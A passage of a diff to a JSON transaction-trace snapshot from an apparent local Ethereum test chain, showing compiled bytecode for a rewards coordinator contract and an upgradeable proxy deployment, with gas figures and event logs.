45434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033", - "gas_used": 2978924, - "gas_limit": 3961002, + "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "gas_used": 465106, + "gas_limit": 636783, "status": "Return", "steps": [], "decoded": { @@ -4535,9 +4538,23 @@ { "raw_log": { "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" }, "decoded": { "name": null, @@ -4549,40 +4566,51 @@ "ordering": [ { "Log": 0 + }, + { + "Log": 1 } ] } ], "exit": "Return", - "out": "0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b0316600160